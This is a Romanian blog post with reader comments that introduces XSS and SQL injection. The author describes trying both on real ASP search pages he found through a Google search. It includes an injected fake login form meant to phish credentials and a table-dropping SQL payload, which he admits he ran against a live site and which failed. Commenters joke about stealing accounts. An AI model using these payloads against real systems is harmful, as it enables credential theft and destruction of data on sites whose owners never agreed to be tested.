Header image

Mica introducere in lumea hacking-ului

Posted by cedik in Uncategorized

Va spuneam eu ieri de o tentativa de injectii mySql si XSS cross-scripting. Va dau azi mai multe detalii… Nu stiu cati sunt interesati, dar poate sunteti curiosi cum fac unii hackeri ce fac. Totul a inceput cu o discutie legata de Acunetix, un program ce scaneaza punctele vulnerabile ale unui site si iti explica cum poate fi exploatat. Oarecum… Si pe acel site am gasit un exemplu de XSS cross-scripting, pe care m-am gandit sa il pun in aplicare. Nu facea mare lucru, pur si simplu crea un login form intr-o pagina de cautare. Dar puteai pacali pe cineva ca acel login form face parte in mod legitim din site, si in momentul in care insera datele, le preluai tu si ii furai contul.

Chestia aia se facea inserand un script html care genera un form intr-un query de search. Ca sa testez, am dat un search pe google la “inurl:search.asp” pentru ca exemplul era dat pe pagini bazate pe tehnologia asp (active server pages). Ideea era relativ simpla… Rulai o comanda de genul:

<br><br>Please login with the form below before proceeding:<form action=”destination.asp”><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>

ceea ce creea asa ceva:

<br><br>Please login with the form below before proceeding:<form action=”destination.asp”><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>

Dupa ce am realizat asa ceva, si am obtinut in interiorul site-ului o pagina cu un forumalar de login, ce putea sa imi furnizeze mie parola si userul cuiva, desigur, daca formularul ar fi fost scriptat altfel, cel din exemplu e pur si simplu un formular care nu face nimic, am zis sa incercam si o injectie sql, care functioneaza practic pe acelasi principiu. Iar ca sa ne faca treaba si mai usoara, site-ul de proba ne furniza si codul query-ului executat de el. Ca sa faci o injectie sql era floare la ureche. Iti trebuiau doar cunostintele de baza.

Care e ideea… Eu daca o sa caut cuvantul ceva intr-o asfel de pagina, serverul rula urmatorul script:

You submitted this query to DAWCL:
SELECT * FROM DAWCL WHERE DAWCL.Published >= 1921 AND DAWCL.Published <= 2008 AND ((DAWCL.setting LIKE ‘%ceva%’) or (DAWCL.ethnicprot LIKE ‘%ceva%’) OR (DAWCL.Title LIKE ‘%ceva%’) or (DAWCL.Descriptors LIKE ‘%ceva%’) OR (DAWCL.Summary LIKE ‘%ceva%’)) Order by Title ASC ;

Practic, insera cuvantul ceva intr-un script prestabilit. Si dupa ceva, insera el automat un %'; cu care incheia secventa de rulare. Dar hai sa presupunem ca nu caut doar ceva, caut urmatoarea sintaxa: ceva%'; DROP * FROM DAWCL; SELECT * FROM DAWCL WHERE DAWCL.Published >= 1921 AND DAWCL.Published <= 2008 AND ((DAWCL.setting LIKE ‘%ceva%’) or (DAWCL.ethnicprot LIKE ‘%ceva%’) OR (DAWCL.Title LIKE ‘%ceva%’) or (DAWCL.Descriptors LIKE ‘%ceva%’) OR (DAWCL.Summary LIKE ‘%ceva

Ce e scris boldat sterge practic continutul bazei de date. Iata cum ar arata practic noua secventa rulata:

You submitted this query to DAWCL:
SELECT * FROM DAWCL WHERE DAWCL.Published >= 1921 AND DAWCL.Published <= 2008 AND ((DAWCL.setting LIKE ‘%
ceva%'; DROP * FROM DAWCL; SELECT * FROM DAWCL WHERE DAWCL.Published >= 1921 AND DAWCL.Published <= 2008 AND ((DAWCL.setting LIKE ‘%ceva%’) or (DAWCL.ethnicprot LIKE ‘%ceva%’) OR (DAWCL.Title LIKE ‘%ceva%’) or (DAWCL.Descriptors LIKE ‘%ceva%’) OR (DAWCL.Summary LIKE ‘%ceva%’) or (DAWCL.ethnicprot LIKE ‘%ceva%’) OR (DAWCL.Title LIKE ‘%ceva%’) or (DAWCL.Descriptors LIKE ‘%ceva%’) OR (DAWCL.Summary LIKE ‘%ceva%’)) Order by Title ASC ;

Nu stiu cati s-au prins sau nu… dar practic tocmai ati inserat propriile voastre comenzi inauntrul unor comenzi sql legitime. Ideea de baza e urmatoarea.

INCEP COMANDA CONDITIE=”cuvant cautat“; Practic, cand cauti ceva, se insereaza cuvantul cautat intr-un script. “; marcheaza sfarsitul instructiunii. Printr-o injectie mySql insa, creem un sfarsit fals de instructiune, dupa care creem alta noua. Iata un nou exemplu, de data asta insa voi scrie cu bold instructiunea legitam

INCEP COMANDA CONDITIE=”cuvant cautat”; ALTA COMANDA; IAR ALTA COMANDA CONDITIE=”cuvant cautat“;

Nu stiu cati ati inteles si cati nu care e faza… dar practic atat XSS cross site scriptingul cat si injectiile mySql au la baza aceeasi tehnicam si anume inserarea propriului script intr-unul legitim. De ce nu merge insa mereu… e mai greu de explicat, si nici nu stiu daca e toata lumea interesata.

[edit]Sa nu uit… mie nu mi-a mers sa le dau DROP la baza de date pentru ca mai intai selecta toate tabele si se bloca pe la a 17.000-a inregistrare si nu mai apuca sa ruleze si comanda DROP. Am idee si cum s-ar fi facut aia, dar nu am chef sa fac asa ceva… Tot ce am facut, am facut in scop teoretic si didactic… kinda…

You can follow any responses to this entry through the RSS 2.0 You can leave a response, or trackback.

12 Responses

  • neveusonie says:

    Vai Cedik-cun o sa te faci informatician:> Bravo! Nu am priceput decat am… hm… 60% din ce ai zis, si asta e un inceput. Deci cu alte cuvinte asta face sa furi contul unui user ? Super. Poate predai niste cursuri mai detaliate in legatura cu asta:> Pana atunci: noapte buna k mor de sooommmmmnnnnnn!

  • lol?? mai detaloiat?? tot ce am inteles a fost bla bla bla dorp , bla bla sql bla injectii :))

  • cedik says:

    Pai… mai detaliat ar fi sa va predau mySql, php si html :))
    Ideea este ca daca reusesti sa afli structura bazei de date a unui site, adica numele tabelelor si campurilor, si daca site-ul propriu-zis poate fi exploatat, poti profita de asa ceva. :P
    Insa cum anume se face… E cam greu de explicat :D
    Eu am incercat multa vreme sa invat chestii legate de hacking, insa de-abia recent, dupa ce am inceput sa invat php si mysql am priceput care e faza cu injectiile mySql si cross site scriptingul. Eu am incercat sa va explic tehnica… Dar de acolo… Eu nu am reusit sa invat asa ceva pana nu am avut niste baze, si informatica fac din clasa a 5-a :))
    Nu stiu totusi foarte multe. Doar C-ul si putin php si mySql.

  • yulobo says:

    Me understands … nothing :)) (too young T.T) … anyway … daca te faci profesor … I will die … xD (da, nu inteleg nimic xP) … Eh … am inteles ceva, ceva … dar … tot nu inteleg unde se insereaza =)) (to be honest, no need for it :-" ) … Anyway … Keep up the good work xD (please ;;) ) … Platesc, vezi? — >:D <

  • cedik says:

    Se insereaza in casuta de cautare :P

  • DarkY says:

    aaaaaa buuuun cred ca am inteles cu 2cuvinte mai mult decat under, probabil fiindca tot ce stiu este C++ putin si html mai mult, in rest php stiam doar sa editez cate ceva in scripturi, iar la mySql foloseam doar diverse programe sa imi fac ceva servere de joc adica nu stiu nimic…oricum as invata si eu chestiile de baza in mySql daca pot sa “ciordesc” conturi cu ele:))

  • Acrono says:

    Cedik za devil :))

  • cedik says:

    @DarkY: Click here
    Tot ce trebuie sa stii!

  • DarkY says:

    thx cedik, poate ma apuc de hackuit, iti hackuiesc animezupul :))

  • cedik says:

    Hehe… crezi ca myBB-ul sau MkPortalul sunt asa usor de crackuit?
    Plus ca deja mi-am protejat site-ul cu unele metode preventive suplimentare.

  • allen says:

    dude, ma inclin, sunt pulbere fina pe langa tine… si asta zici ca e mica introducere, lol. Daca o sa am nevoie vreodata sa sparg vreun site apelez la tine, pana atunci ma distrez cu id-uri de “mass” :d

  • cedik says:

    Eheee, ar fi bine daca as stii sa sparg orice site, dar invat, invat :D Sunt multe site-uri de hacking romanesti, daca te intereseaza subiectul. Ti-as recomanda hackpedia.info de exemplu.



Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>